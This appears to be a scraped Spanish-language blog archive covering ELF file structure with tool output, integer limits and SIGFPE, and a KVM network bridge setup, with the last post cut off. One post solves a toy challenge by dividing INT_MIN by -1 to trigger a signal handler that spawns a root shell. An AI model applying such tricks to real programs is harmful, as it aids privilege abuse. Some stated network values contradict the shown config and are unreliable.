Los campos del header ELF se encuentra definido en <i>/usr/include/elf.h</i>. En dos estructuras <i>Elf32_Ehdr</i>, para procesadores de 32 bits y <i>Elf64_Ehdr</i> para procesadores de 64 bits.
<br />
<br />
<script src="http://pastebin.com/embed_js.php?i=zFtRc7iJ">
</script>
<br />
El primer campo <i>e_ident</i>, (<i>Magic</i> en la salida de <i>readelf(1)</i>), es un array que especifica el Magic number del archivo ELF que analizamos, este Magic number, identifica de manera única el tipo de archivo y se encuentra compuesto de una serie de valores que representan en forma de códigos hexadecimales distintos datos, por ejemplo: <i>0x7f</i>, dice que es un ELF ejecutable, <i>0x45</i> es la letra "E" en ASCII, <i>0x4c</i> es la letra "L", y <i>0x46</i> es la letra "F". Luego el número <i>0x02</i> significa que es un <i>object file</i> compilado para CPU's de 64 bits (<i>0x01</i> para CPU's de 32 bits), y <i>0x01</i> que es little-endian (<i>0x02</i> en caso de ser big-endian).<br />
Este magic es leído por la syscall <i>read(2) </i>al momento de ejecutarse el binario, lo cual le dará la pauta de que tipo de archivo es:<br />
<div class="highlight"><pre># strace ./simple
execve("./simple", ["./simple"], [/* 49 vars */]) = 0
brk(0) = 0x1653000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fe6f50bf000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=109077, ...}) = 0
mmap(NULL, 109077, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fe6f50a4000
close(3) = 0
open("/lib64/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\260\27\342J8\0\0\0"..., 832) = 832
</pre></div>
Vemos que en la última línea se efectúa la syscall <i>read(2)</i> a la cual toma como argumento el file descriptor (fd) 3, que no es otra cosa que el binario a ejectuar, y toma como segundo argumento el magic que obtuvo previamente al verificar el header ELF del archivo, como tercer argumento tomará el tamaño (<i>size_t count</i>).<br />
El tipo de archivo ELF también es obtenido de e_type, que se define de la siguiente manera:<br />
<br />
<script src="http://pastebin.com/embed_js.php?i=q1vR303A">
</script>
<br />
El header ELF tiene básicamente dos vistas una vista desde el linker, y otra en ejecución, como se muestra en la figura anterior. Esto es, como es visto por el linker, y como es visto al momento de ejecución, ya que el mapeo de memoria difiere de un momento a otro.<br />
Ahora bien, veamos el layout de un archivo ELF, como comenté anteriormente, el header ELF mantiene referencias hacia dos tablas la SHT (Section Header Table) y la PHT (Program Header Table).<br />
<br />
<u>Para imprimir la PHT utilizamos nuevamente<i> readelf(1)</i> de la siguiente manera:</u><br />
<div class="highlight">
<pre># readelf -l ./example01
Elf file type is EXEC (Executable file)
Entry point 0x4003e0
There are 8 program headers, starting at offset 64
Program Headers:
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
PHDR 0x0000000000000040 0x0000000000400040 0x0000000000400040
0x00000000000001c0 0x00000000000001c0 R E 8
INTERP 0x0000000000000200 0x0000000000400200 0x0000000000400200
0x000000000000001c 0x000000000000001c R 1
[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000
0x00000000000006b4 0x00000000000006b4 R E 200000
LOAD 0x00000000000006b8 0x00000000006006b8 0x00000000006006b8
0x00000000000001ec 0x0000000000000200 RW 200000
DYNAMIC 0x00000000000006e0 0x00000000006006e0 0x00000000006006e0
0x0000000000000190 0x0000000000000190 RW 8
NOTE 0x000000000000021c 0x000000000040021c 0x000000000040021c
0x0000000000000044 0x0000000000000044 R 4
GNU_EH_FRAME 0x00000000000005e4 0x00000000004005e4 0x00000000004005e4
0x000000000000002c 0x000000000000002c R 4
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RW 8
Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version
.gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
03 .ctors .dtors .jcr .dynamic .got .got.plt .data .bss
04 .dynamic
05 .note.ABI-tag .note.gnu.build-id
06 .eh_frame_hdr
07
</pre>
</div>
La PHT, contiene información para el kernel de como iniciar el programa. La directiva <b>LOAD</b> determina que partes del archivo ELF deben ser mapeadas dentro de memoria y es el único que es mapeado a esta durante la ejecución del programa. La directiva <b>INTERP</b> especifica el interprete para el archivo ELF, que normalmente es <i>/lib/ld-linux.so.2</i> en Linux y <i>ld.so.1</i> en Solaris o FreeBSD.
La directiva <b>DYNAMIC</b> es el punto de entrada para la sección <i>.dynamic</i>, esta sección mantiene información usada por el interprete ELF para configurar la ejecución del binario.<br />
<br />
Podemos ver también otro tipo de información como que tipo de archivo es (<i>EXEC</i> en este caso, osea un archivo ejecutable), la cantidad de <i>program headers</i> (cantidad entradas en la PHT), el <i>Entry point</i>, que es la dirección de memoría en la región .text (segmento de memoria al que se mapea el código ejecutable del ELF), aquí se encuentra la sección <i>_start</i>, lugar donde se ejecuta el <i>Procedure Log (PROLOG)</i>, a fin de iniciar la ejecución del binario, podemos ver esto utilizando <i>objdump(1)</i>:
<br />
<div class="highlight">
<pre>#: objdump -d -j .text example01
example: file format elf64-x86-64
Disassembly of section .text:
00000000004003e0 <_start>:
4003e0: 31 ed xor %ebp,%ebp
4003e2: 49 89 d1 mov %rdx,%r9
4003e5: 5e pop %rsi
4003e6: 48 89 e2 mov %rsp,%rdx
4003e9: 48 83 e4 f0 and $0xfffffffffffffff0,%rsp
4003ed: 50 push %rax
4003ee: 54 push %rsp
4003ef: 49 c7 c0 70 05 40 00 mov $0x400570,%r8
4003f6: 48 c7 c1 e0 04 40 00 mov $0x4004e0,%rcx
4003fd: 48 c7 c7 c4 04 40 00 mov $0x4004c4,%rdi
400404: e8 c7 ff ff ff callq 4003d0 <__libc_start_main@plt>
400409: f4 hlt
40040a: 90 nop
40040b: 90 nop
</pre>
</div>
<u>Para imprimir la SHT utilizamos nuevamente<i> readelf(1)</i> de la siguiente manera:</u><br />
<div class="highlight">
<pre># readelf -S example01
There are 30 section headers, starting at offset 0xa00:
Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
[ 0] NULL 0000000000000000 00000000
0000000000000000 0000000000000000 0 0 0
[ 1] .interp PROGBITS 0000000000400200 00000200
000000000000001c 0000000000000000 A 0 0 1
[ 2] .note.ABI-tag NOTE 000000000040021c 0000021c
0000000000000020 0000000000000000 A 0 0 4
[ 3] .note.gnu.build-i NOTE 000000000040023c 0000023c
0000000000000024 0000000000000000 A 0 0 4
[ 4] .gnu.hash GNU_HASH 0000000000400260 00000260
000000000000001c 0000000000000000 A 5 0 8
[ 5] .dynsym DYNSYM 0000000000400280 00000280
0000000000000060 0000000000000018 A 6 1 8
[ 6] .dynstr STRTAB 00000000004002e0 000002e0
000000000000003d 0000000000000000 A 0 0 1
[ 7] .gnu.version VERSYM 000000000040031e 0000031e
0000000000000008 0000000000000002 A 5 0 2
[ 8] .gnu.version_r VERNEED 0000000000400328 00000328
0000000000000020 0000000000000000 A 6 1 8
[ 9] .rela.dyn RELA 0000000000400348 00000348
0000000000000018 0000000000000018 A 5 0 8
[10] .rela.plt RELA 0000000000400360 00000360
0000000000000030 0000000000000018 A 5 12 8
[11] .init PROGBITS 0000000000400390 00000390
0000000000000018 0000000000000000 AX 0 0 4
[12] .plt PROGBITS 00000000004003b0 000003b0
0000000000000030 0000000000000010 AX 0 0 16
[13] .text PROGBITS 00000000004003e0 000003e0
00000000000001d8 0000000000000000 AX 0 0 16
[14] .fini PROGBITS 00000000004005b8 000005b8
000000000000000e 0000000000000000 AX 0 0 4
[15] .rodata PROGBITS 00000000004005c8 000005c8
000000000000001c 0000000000000000 A 0 0 8
[16] .eh_frame_hdr PROGBITS 00000000004005e4 000005e4
000000000000002c 0000000000000000 A 0 0 4
[17] .eh_frame PROGBITS 0000000000400610 00000610
00000000000000a4 0000000000000000 A 0 0 8
[18] .ctors PROGBITS 00000000006006b8 000006b8
0000000000000010 0000000000000000 WA 0 0 8
[19] .dtors PROGBITS 00000000006006c8 000006c8
0000000000000010 0000000000000000 WA 0 0 8
[20] .jcr PROGBITS 00000000006006d8 000006d8
0000000000000008 0000000000000000 WA 0 0 8
[21] .dynamic DYNAMIC 00000000006006e0 000006e0
0000000000000190 0000000000000010 WA 6 0 8
[22] .got PROGBITS 0000000000600870 00000870
0000000000000008 0000000000000008 WA 0 0 8
[23] .got.plt PROGBITS 0000000000600878 00000878
0000000000000028 0000000000000008 WA 0 0 8
[24] .data PROGBITS 00000000006008a0 000008a0
0000000000000004 0000000000000000 WA 0 0 4
[25] .bss NOBITS 00000000006008a8 000008a4
0000000000000010 0000000000000000 WA 0 0 8
[26] .comment PROGBITS 0000000000000000 000008a4
0000000000000058 0000000000000001 MS 0 0 1
[27] .shstrtab STRTAB 0000000000000000 000008fc
00000000000000fe 0000000000000000 0 0 1
[28] .symtab SYMTAB 0000000000000000 00001180
0000000000000600 0000000000000018 29 46 8
[29] .strtab STRTAB 0000000000000000 00001780
00000000000001f4 0000000000000000 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), l (large)
I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
O (extra OS processing required) o (OS specific), p (processor specific)
</pre>
</div>
La SHT, mantiene información de las distintas secciones contenidas en el archivo ELF. Son interesantes la sección <b>REL</b> (relocations), SYMTAB/DYNSYM (symbol tables), VERSYM/VERDEF/VERNEED sections (symbol versioning information). También podemos apreciar que las distintas secciones mapeadas a la SHT, tienen permisos, por ejemplo que se permita escribir (W), en una sección determinada, o que se permita ejecutar (X) en ella. La siguiente tabla describe brevemente las principales secciones de un ELF, mapeadas en la SHT:<br />
<br />
<div style="color: #eeeeee;">
</div>
<table border=""><tbody>
<tr><th>ELF Section</th><th>Purpose</th></tr>
<tr><td><tt>.bss</tt></td><td>Uninitialized global data ("Block Started by Symbol").<span style="color: #eeeeee;"></span></td></tr>
<tr><td><tt>.comment</tt></td><td>A series of NULL-terminated strings containing compiler information.</td></tr>
<tr><td><tt>.ctors</tt></td><td><b>Pointers</b> to functions which are marked as <tt>__attribute__ ((constructor))</tt> as well as static C++ objects' constructors. They will be used by <tt>__libc_global_ctors</tt> function.See paragraphs below.</td></tr>
<tr><td><tt>.data</tt></td><td>Initialized data.</td></tr>
<tr><td><tt>.data.rel.ro</tt></td><td>Similar to <tt>.data</tt> section, but this section should be made Read-Only after relocation is done.</td></tr>
<tr><td><tt>.debug_XXX</tt></td><td>Debugging information (for the programs which are compiled with <tt>-g</tt> option) which is in the DWARF 2.0 format.</td></tr>
<tr><td><tt>.dtors</tt></td><td><b>Pointers</b> to functions which are marked as <tt>__attribute__ ((destructor))</tt> as well as static C++ objects' destructors.See paragraphs below.</td></tr>
<tr><td><tt>.dynamic</tt></td><td>For dynamic binaries, this section holds dynamic linking information used by <tt>ld.so</tt>. See paragraphs below.</td></tr>
<tr><td><tt>.dynstr</tt></td><td>NULL-terminated strings of names of symbols in <tt>.dynsym</tt> section.One can use commands such as <tt>readelf -p .dynstr a.out</tt> to see these strings.</td></tr>
<tr><td><tt>.dynsym</tt></td><td><b>Runtime</b>/Dynamic symbol table. For dynamic binaries, this section is the symbol table of globally visible symbols. For example, if a dynamic link library wants to export its symbols, these symbols will be stored here. On the other hand, if a dynamic executable binary uses symbols from a dynamic link library, then these symbols are stored here too.The symbol names (as NULL-terminated strings) are stored in <tt>.dynstr</tt> section.</td></tr>
<tr><td><tt>.eh_frame</tt><br />
<tt>.eh_frame_hdr</tt></td><td>Frame unwind information (EH = Exception Handling).<br />
To see the content of <tt>.eh_frame</tt> section, use<br />
<pre>readelf --debug-dump=frames-interp a.out</pre>
</td></tr>
<tr><td><tt>.fini</tt></td><td>Code which will be executed when program exits normally. See paragraphs below.</td></tr>
<tr><td><tt>.fini_array</tt></td><td><b>Pointers</b> to functions which will be executed when program exits normally. See paragraphs below.</td></tr>
<tr><td><tt>.GCC.command.line</tt></td><td>A series of NULL-terminated strings containing GCC command-line (that is used to compile the code) options.This feature is supported since GCC 4.5 and the program must be compiled with <tt>-frecord-gcc-switches</tt> option.</td></tr>
<tr><td><tt>.gnu.hash</tt></td><td>GNU's extension to hash table for symbols.</td></tr>
<tr><td><tt>.gnu.linkonceXXX</tt></td><td>GNU's extension. It means only a single copy of the section will be used in linking. This is used to by g++. g++ will emit each template expansion in its own section. The symbols will be defined as weak, so that multiple definitions are permitted.</td></tr>
<tr><td><tt>.gnu.version</tt></td><td>Versions of symbols.</td></tr>
<tr><td><tt>.gnu.version_d</tt></td><td>Version definitions of symbols.</td></tr>
<tr><td><tt>.gnu.version_r</tt></td><td>Version references (version needs) of symbols.</td></tr>
<tr><td><tt>.got</tt></td><td>For dynamic binaries, this Global Offset Table holds the addresses of variables which are relocated upon loading. See paragraphs below.</td></tr>
<tr><td><tt>.got.plt</tt></td><td>For dynamic binaries, this Global Offset Table holds the addresses of functions in dynamic libraries. They are used by trampoline code in <tt>.plt</tt> section. If <tt>.got.plt</tt> section is present, it contains at least three entries, which have special meanings. See paragraphs below.</td></tr>
<tr><td><tt>.hash</tt></td><td>Hash table for symbols.</td></tr>
<tr><td><tt>.init</tt></td><td>Code which will be executed when program initializes. See paragraphs below.</td></tr>
<tr><td><tt>.init_array</tt></td><td><b>Pointers</b> to functions which will be executed when program starts. See paragraphs below.</td></tr>
<tr><td><tt>.interp</tt></td><td>For dynamic binaries, this holds the full pathname of runtime linker <tt>ld.so</tt></td></tr>
<tr><td><tt>.jcr</tt></td><td>Java class registration information.</td></tr>
<tr><td><tt>.note.ABI-tag</tt></td><td>This Linux-specific section is structured as a note section in ELF specification. </td></tr>
<tr><td><tt>.note.gnu.build-id</tt></td><td>A unique build ID.</td></tr>
<tr><td><tt>.nvFatBinSegment</tt></td><td>This segment contains information of nVidia's CUDA fat binary container. Its format is described by <tt>struct __cudaFatCudaBinaryRec</tt> in <tt>__cudaFatFormat.h</tt></td></tr>
<tr><td><tt>.plt</tt></td><td>For dynamic binaries, this Procedure Linkage Table holds the trampoline/linkage code. See paragraphs below.</td></tr>
<tr><td><tt>.preinit_array</tt></td><td>Similar to <tt>.init_array</tt> section. See paragraphs below.</td></tr>
<tr><td><tt>.rela.dyn</tt></td><td><b>Runtime</b>/Dynamic relocation table.For dynamic binaries, this relocation table holds information of variables which must be relocated upon loading. Each entry in this table is a <tt>struct Elf64_Rela</tt> which has only three members:<br />
<ul>
<li><tt>offset</tt> (the variable's [usually position-independent] virtual memory address which holds the "patched" value during the relocation process)</li>
<li><tt>info</tt> (Index into <tt>.dynsym</tt> section and Relocation Type)</li>
<li><tt>addend</tt></li>
</ul>
See paragraphs below for details about runtime relocation.</td></tr>
<tr><td><tt>.rela.plt</tt></td><td><b>Runtime</b>/Dynamic relocation table.This relocation table is similar to the one in <tt>.rela.dyn</tt> section; the difference is this one is for functions, not variables.<br />
The relocation type of entries in this table is <tt>R_386_JMP_SLOT</tt> or <tt>R_X86_64_JUMP_SLOT</tt> and the "offset" refers to memory addresses which are inside <tt>.got.plt</tt> section.<br />
Simply put, this table holds information to relocate entries in <tt>.got.plt</tt> section.</td></tr>
<tr><td><tt>.rel.text</tt><br />
<tt>.rela.text</tt></td><td><b>Compile-time</b>/Static relocation table.For programs compiled with <tt>-c</tt> option, this section provides information to the link editor <tt>ld</tt> where and how to "patch" executable code in <tt>.text</tt> section.<br />
The difference between <tt>.rel.text</tt> and <tt>.rela.text</tt> is entries in the former does not have <tt>addend</tt> member. (Compare <tt>struct Elf64_Rel</tt> with <tt>struct Elf64_Rela</tt> in <tt>/usr/include/elf.h</tt>) Instead, the addend is taken from the memory location described by <tt>offset</tt> member.<br />
Whether to use <tt>.rel</tt> or <tt>.rela</tt> is platform-dependent. For x86_32, it is <tt>.rel</tt> and for x86_64, <tt>.rela</tt></td></tr>
<tr><td><tt>.rel.XXX</tt><br />
<tt>.rela.XXX</tt></td><td>Compile-time/Static relocation table for other sections. For example, <tt>.rela.init_array</tt> is the relocation table for <tt>.init_array</tt> section.</td></tr>
<tr><td><tt>.rodata</tt></td><td>Read-only data.</td></tr>
<tr><td><tt>.shstrtab</tt></td><td>NULL-terminated strings of section names.One can use commands such as <tt>readelf -p .shstrtab a.out</tt> to see these strings.</td></tr>
<tr><td><tt>.strtab</tt></td><td>NULL-terminated strings of names of symbols in <tt>.symtab</tt> section.One can use commands such as <tt>readelf -p .strtab a.out</tt> to see these strings.</td></tr>
<tr><td><tt>.symtab</tt></td><td><b>Compile-time</b>/Static symbol table.This is the main symbol table used in compile-time linking or runtime debugging.<br />
The symbol names (as NULL-terminated strings) are stored in <tt>.strtab</tt> section.<br />
Both <tt>.symtab</tt> and <tt>.symtab</tt> can be stripped away by the <tt>strip</tt> command.</td></tr>
<tr><td><tt>.tbss</tt></td><td>Similar to <tt>.bss</tt> section, but for <i>Thread-Local data</i>. See paragraphs below.</td></tr>
<tr><td><tt>.tdata</tt></td><td>Similar to <tt>.data</tt> section, but for <i>Thread-Local data</i>. See paragraphs below.</td></tr>
<tr><td><tt>.text</tt></td><td>User's executable code</td></tr>
</tbody></table>
<br />tty0http://www.blogger.com/profile/01071302674256069171noreply@blogger.com3tag:blogger.com,1999:blog-5189027816427515351.post-30871862201550098182012-05-05T21:51:00.001-03:002012-10-27T21:02:56.343-03:00POSIX: INT_MAX, INT_MIN and SIGFPEEn sistemas operativos modernos, los límites de direccionamiento de memoria y cantidad de procesos/threads está estipulada de dos formas: la primera acorde al hardware específico con que cuenta el equipo, y la segunda, mediante configuración específica del sistema operativo.<br />
<br />
A modo de ejemplo, y para dejar las cosas más en claro, vamos a hablar un poco sobre los límites de los procesos: Cada proceso en el sistema operativo ocupa un <i>slot</i> en una estructura de datos denominada <i>kernel process table</i>. Esta tabla contiene toda la información necesaria que el kernel mantiene a fin de poder manejar los procesos, schedulear las distintas tareas (acorde a sus prioridades) y estados de los mismos. Cuando el OS bootea, el kernel inicializa una estructura de datos denominada <i>process_cache</i>, donde comenzará a direccionar la estructura de procesos que luego serán empleada por el kernel y el userspace. Esta tabla es una lista doblemente enlazada con dos punteros, uno a su elemento anterior y otro a su elemento posterior, la cual tiene una capacidad máxima que se define acorde a la cantidad de memoria física instalada en el equipo. El sistema operativo, para esto asigna la cantidad de memoria instalada a una variable <i>MAX_MAXUSERS</i> (que no tiene nada que ver con el número máximo de usuarios que el sistema soporta), que luego será utilizada por dos variables más del propio kernel <i>max_nprocs</i> y <i>maxuprc</i>. <i>max_nprocs</i> define el número máximo de procesos del sistema operativo, y <i>maxuprc</i> determina el número máximo de procesos que usuarios no privilegiados (que no sean root), puedan crear y ocupar <i>slots</i> en la <i>kernel process table</i>. Y basándose en el valor de <i>MAX_MAXUSERS</i>, poder definir el tamaño en memoria de cada segmento del proceso (región <i>.text, .stack, .heap, .bss</i>, etc.). <br />
<br />
<a name='more'></a>
<b><u>INT_MIN e INT_MAX:</u></b>
<br />
Como el número máximo de procesos, otros limites se encuentran configurados en el sistema operativo, y en muchos casos son estándares <b>POSIX</b>, como es el caso de <i>INT_MAX</i> e <i>INT_MIN</i>. <i>INT_MAX</i> representa el máximo valor de un número entero, sin signo que puede ser almacenado en una variable. Y caso contrario <i>INT_MIN</i> representa el valor mínimo de un numero entero que puede ser almacenado en una variable. El mismo se encuentra definido en Linux, en el header <i>include/limits.h</i>, como podemos ver a continuación:
<br />
<br />
<script src="http://pastebin.com/embed_js.php?i=DWdc7HWs">
</script>
<br />
En caso de que este valor sea excedido, la variable hace overflow, y comienza su cuenta nuevamente desde cero. Podemos comprobar esto mismo, de una manera bastante sencilla, con un simple programa en ANSI C, llamando a imprimir el valor de INT_MAX haciendo el include de <i>limits.h</i>
<br />
<br />
<script src="http://pastebin.com/embed_js.php?i=vGVW0kLq">
</script>
<br />
¿Pero que sucede, si asignamos a una variable, un valor mayor al de INT_MAX?. Podemos verlo, compilando el siguiente ejemplo:
<br />
<br />
<script src="http://pastebin.com/embed_js.php?i=EiUS7Tyq">
</script>
<br />
Si ejecutamos esto, obtendremos el valor <b>-2147483648</b>. El número se hizo negativo, debido a que se produjo un overflow, y la cuenta empezó pero alrevez.
<br />
<br />
<b><u>SIGFPE:</u></b>
<br />
Las señales, son un mecanismo de <b>IPC</b> en entornos Unix, los procesos necesitan comunicarse entre sí, y para ello utilizan un mecanismo basado en señales, que pueden ser <b>sincrónicas</b>. Osea aquellas originadas por alguna condición de trap tal como <i>segmentation fault</i> (cuando accedemos a una dirección de memoria invalida), <i>floating point exception</i> (cuando dividimos por cero), entre otras. Por su parte, las señales <b>asincrónicas</b>, para notificar o recibir eventos externos, no necesariamente relacionados con el flujo del programas. Un ejemplo de esto sería la señal <i>SIGKILL (kill)</i> (para matar un proceso), <i>SIGHUP</i>, <i>SIGABR</i>. Por cada señal que es enviada, hay tres posibles acciones que un proceso puede realizar: Puede ser <b>atrapada</b>, puede ser <b>ignorada</b> o se puede realizar la acción por <b>default</b> (cada señal tiene una acción por default, por ejemplo terminar un proceso con <i>SIGKILL</i>). En Linux, estas señales se encuentran definidas en <i>include/asm/signal.h</i>, y como seguramente ya sabrán, pueden ser especificadas desde el userland mediante el comando <i>kill(2)</i>, seguido de nombre de la señal, o el número. Este número de señal, se define en el header <i>include/bits/signum.h</i>.<br />
Como comenté anteriormente dividir por cero, produciría una señal sincrónica, denominada <i>Floating Point Exception</i> o también <i>SIGFPE</i>. Veamos el siguiente ejemplo:
<br />
<br />
<script src="http://pastebin.com/embed_js.php?i=TCv9pxkW">
</script>
<br />
Primero lo compilaremos utilizando <i>gcc(2)</i> y luego lo ejecutaremos solo, y por último utilizando <i>strace(2)</i>, cuya salida es más extensa, pero fue acortada para no hacer tan largo este post :-).
<br />
<div class="highlight">
<pre># gcc example.c -o example
# ./example
Floating point exception
# strace ./example
execve("./example", ["./example"], [/* 27 vars */]) = 0
brk(0) = 0x22d9000
munmap(0x7f81bed4e000, 108846) = 0
--- {si_signo=SIGFPE, si_code=FPE_INTDIV, si_addr=0x400494} (Floating point exception) ---
+++ killed by SIGFPE +++
Floating point exception
</pre>
</div>
Bien, vemos que el proceso fue terminado mediante la señal <i>SIGFPE</i>, que en este caso se produjo por dividir <i>INT_MIN</i> por <i>-1</i>. ya que al dividir un número negativo por otro número negativo da un número positivo. Ahora bien, ya que sabemos esto, estamos en condiciones de resolver el siguiente desafío:
<br />
<br />
<script src="http://pastebin.com/embed_js.php?i=s7mnvY6i">
</script>
<br />
<br />
Nuestro objetivo, es ejecutar la shell (<i>/bin/sh</i>), que se encuentra dentro de la función <i>catcher</i>.<br />
Al ejecutar, lo primero que hace este programa, es verificar la cantidad de argumentos que le son pasados al mismo. Por lo cual, sabiendo que el primer argumento es el nombre del programa, debemos especificarle dos más, donde el último argumento no debe ser cero (debido a que utiliza <i>atoi</i>). Siendo esto correcto, se establece un handler para entrar en la función <i>catcher</i>, y para entrar en la misma debemos producir la ya famosa <i>Floating Point Exception</i>, osea <i>SIGFPE</i>. ¿Como podemos producirlo?, si no tenemos la capacidad de dividir por cero. Bien, podemos hacerlo utilizando la última línea que divide ambos argumentos con un valor distinto a cero: <i>return atoi(argv[1]) / atoi(argv[2]);</i><br />
. Entonces, sabiendo que si dividimos <i>INT_MIN</i> por <i>-1</i> podremos producir <i>SIGFPE</i>, veamos:
<br />
<div class="highlight">
<pre># gcc challenge.c -o challenge
# ./challenge -2147483648 -1
WIN!
sh-4.2#
</pre>
</div>tty0http://www.blogger.com/profile/01071302674256069171noreply@blogger.com1tag:blogger.com,1999:blog-5189027816427515351.post-19686578620976621372012-04-21T17:33:00.000-03:002012-10-27T21:03:45.403-03:00CentOS / Red Hat: Making a persistent KVM network bridge<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhj5Bz3ZQW0j4J_i_bQBH1BLldIPtPtzWHwyIkV-1f8UDk1nD3a1fzLWhXHvoEmOb01XepHvdss2iVyOtGzwv4gT7SIGcb2YZUdNZ04BfAxf-2BZXVwuTxuhRS9SbJtc8XfuQJYANye2ig/s1600/KVM.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="61" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhj5Bz3ZQW0j4J_i_bQBH1BLldIPtPtzWHwyIkV-1f8UDk1nD3a1fzLWhXHvoEmOb01XepHvdss2iVyOtGzwv4gT7SIGcb2YZUdNZ04BfAxf-2BZXVwuTxuhRS9SbJtc8XfuQJYANye2ig/s200/KVM.png" width="200" /></a></div>
Hoy en día cuando la virtualización se a convertido en una tecnología de facto en la mayoría de los datacenter existen numerosas soluciones compitiendo en el mercado. En mi caso si me dan a elegir entre las distintas soluciones de pago para Linux, elijo una gratuita (y libre), <b><a href="http://www.linux-kvm.org/page/Main_Page" target="_blank">KVM</a></b>.<br />KVM (<i>Kernel-based Virtual Machine</i>), es una solución que nos provee <i>full virtualización</i>, haciendo uso de <i>qemu</i> como hypervisor, la cual se encuentra integrada dentro del propio kernel de Linux de manera modular, mediante el módulo del kernel <i>kvm.ko</i>. Esto nos provee cierta compatibilidad y performance que la ponen prácticamente a la par de otras soluciones de virtualización.<br />
Una de las tareas comunes al crear una nueva maquina virtual, es integrar a esta con la red existente, ya que la virtualización nos provee la posibilidad de hostear múltiples servidores en un solo equipo físico.<br /><br />
La configuración en RHEL o CentOS es muy sencilla, para ello debemos crear un <i>bridge</i>, quien será el responsable de interactuar con la red física. Para hacer esto, al momento de booteo y cuando los scripts SYSV de RC configuran la red (mediante el servicio <i>network</i>), el bridge es configurado utilizando <i>brctl</i>, y la configuración leída de aquellos archivos de interfaces los cuales son definidos como bridge.<br />En nuestro ejemplo tendremos dos Una NIC física (eth0), en la cual crearemos el bridge y lo configuraremos acorde a los paramétros de networking que necesitemos asignarle al servidor.<br />
<a name='more'></a>
<br />
El primer paso, será crear el archivo <i>/etc/sysconfig/network-scripts/ifcfg-br0</i>, el cual será nuestro bridge y tendrá el siguiente contenido:<br />
<div class="highlight" ><pre><span style="color: #bb60d5">DEVICE</span><span style="color: #666666">=</span><span style="color: #4070a0">"br0"</span>
<span style="color: #bb60d5">BOOTPROTO</span><span style="color: #666666">=</span><span style="color: #4070a0">"static"</span>
<span style="color: #bb60d5">IPADDR</span><span style="color: #666666">=</span><span style="color: #4070a0">"192.168.0.215"</span>
<span style="color: #bb60d5">NETMASK</span><span style="color: #666666">=</span><span style="color: #4070a0">"255.255.254.0"</span>
<span style="color: #bb60d5">BROADCAST</span><span style="color: #666666">=</span><span style="color: #4070a0">"192.168.1.255"</span>
<span style="color: #bb60d5">ONBOOT</span><span style="color: #666666">=</span><span style="color: #4070a0">"yes"</span>
<span style="color: #bb60d5">TYPE</span><span style="color: #666666">=</span><span style="color: #4070a0">"Bridge"</span>
</pre></div>
En este ejemplo, le asignamos a <i>br0</i> la dirección IP <i>172.16.8.50</i> y una netmask de 24 bits (255.255.255.0). Además es importante el parámetro <i>TYPE</i>, el cual define a la misma como bridge. Si necesitamos configurar la misma mediante DHCP, en nuestra configuración tendríamos:<br />
<div class="highlight" ><pre><span style="color: #bb60d5">DEVICE</span><span style="color: #666666">=</span><span style="color: #4070a0">"br0"</span>
<span style="color: #bb60d5">BOOTPROTO</span><span style="color: #666666">=</span><span style="color: #4070a0">"dhcp"</span>
<span style="color: #bb60d5">ONBOOT</span><span style="color: #666666">=</span><span style="color: #4070a0">"yes"</span>
<span style="color: #bb60d5">TYPE</span><span style="color: #666666">=</span><span style="color: #4070a0">"Bridge"</span>
</pre></div>
Ahora solo resta configurar la interfaz de red <i>eth0</i> y decirle que la misma es parte del bridge:<br/>
<div class="highlight" ><pre><span style="color: #bb60d5">DEVICE</span><span style="color: #666666">=</span><span style="color: #4070a0">"eth0"</span>
<span style="color: #bb60d5">HWADDR</span><span style="color: #666666">=</span><span style="color: #4070a0">"00:1E:67:1D:0C:88"</span>
<span style="color: #bb60d5">NM_CONTROLLED</span><span style="color: #666666">=</span><span style="color: #4070a0">"no"</span>
<span style="color: #bb60d5">ONBOOT</span><span style="color: #666666">=</span><span style="color: #4070a0">"yes"</span>
<span style="color: #bb60d5">BRIDGE</span><span style="color: #666666">=</span><span style="color: #4070a0">"br0"</span>
</pre></div>
Y ahora solamente debemos reiniciar el servicio network:
<div class="highlight" ><pre><span style="color: #666666">[</span>root@kvm ~]# service network restart
Shutting down interface br0: <span style="color: #666666">[</span> OK <span style="color: #666666">]</span>
Shutting down interface eth0: <span style="color: #666666">[</span> OK <span style="color: #666666">]</span>
Shutting down interface eth1: <span style="color: #666666">[</span> OK <span style="color: #666666">]</span>
Shutting down loopback interface: <span style="color: #666666">[</span> OK <span style="color: #666666">]</span>
Bringing up loopback interface: <span style="color: #666666">[</span> OK <span style="color: #666666">]</span>
Bringing up interface eth0: <span style="color: #666666">[</span> OK <span style="color: #666666">]</span>
Bringing up interface eth1: <span style="color: #666666">[</span> OK <span style="color: #666666">]</span>
Bringing up interface br0: <span style="color: #666666">[</span> OK <span style="color: #666666">]</span>
<span style="color: #666666">[</span>root@kvm ~]#
</pre></div>
Para asegurarnos que todo salio bien, podemos revisar la configuración de <i>br0</i> mediante <i>ifconfig(1)</i> y <i>brctl(1)</i>:
<div class="highlight" ><pre>[root@kvm ~]# ifconfig br0
br0 Link encap:Ethernet HWaddr 00:1E:67:1D:0C:88
